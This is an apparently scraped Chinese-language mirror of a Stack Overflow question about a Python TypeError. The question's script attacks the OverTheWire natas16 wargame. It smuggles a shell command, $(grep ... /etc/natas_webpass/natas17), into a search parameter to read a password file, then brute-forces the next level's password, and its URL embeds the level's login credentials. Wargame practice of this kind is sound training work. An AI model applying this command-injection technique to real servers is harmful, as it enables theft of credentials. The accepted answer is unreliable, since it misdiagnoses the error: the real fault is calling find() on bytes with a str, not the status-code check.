gpt4 book ai didi

python - Python 中的类型错误 : a bytes-like object is required, 而不是 'str'

转载 作者:太空宇宙 更新时间:2023-11-03 15:20:46 25 4
gpt4 key购买 nike

当我尝试运行下面的代码时,我遇到了问题,它不起作用并显示如下文本消息”

Target reachable. Starting character parsing... Traceback (most recent call last): File "C:\Users\hoangcode\Desktop\main.py", line 25, in if r.content.find(existsStr) != -1: TypeError: a bytes-like object is required, not 'str'

代码在这里:

import requests

allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

parsedChars = ''

password = ''

target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/'

existsStr = 'Output:\n<pre>\n</pre>'

r = requests.get(target)
if r.status_code != requests.codes.ok:
raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
print ("Target reachable. Starting character parsing...")


for c in allChars:

r = requests.get(target+'?needle=$(grep '+c+' /etc/natas_webpass/natas17)whacked')
if r.content.find(existsStr) != -1:
parsedChars += c
print ('Used chars: ' + parsedChars)

print ("Characters parsed. Starting brute force...")


for i in range(32):
for c in parsedChars:

r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)whacked')
if r.content.find(existsStr) != -1:
password += c
print ('Password: ' + password + '*' * int(32 - len(password)))
break

print ("Done. Have fun!")

最佳答案

这是因为 requests.code.ok 是一个内部表示为字节的对象,而 requests.status_code 返回一个整数,因此您将 int 与字节对象进行比较因此你会收到错误。因此,为了检查您是否得到了正确的响应,您需要使用相应的 int 代码,因此您的代码将是

if response.status_code != 200:
raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
print ("Target reachable. Starting character parsing...")

我希望您知道响应的状态代码,但为了供您引用,我添加 response codes list .

关于python - Python 中的类型错误 : a bytes-like object is required, 而不是 'str',我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43571184/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com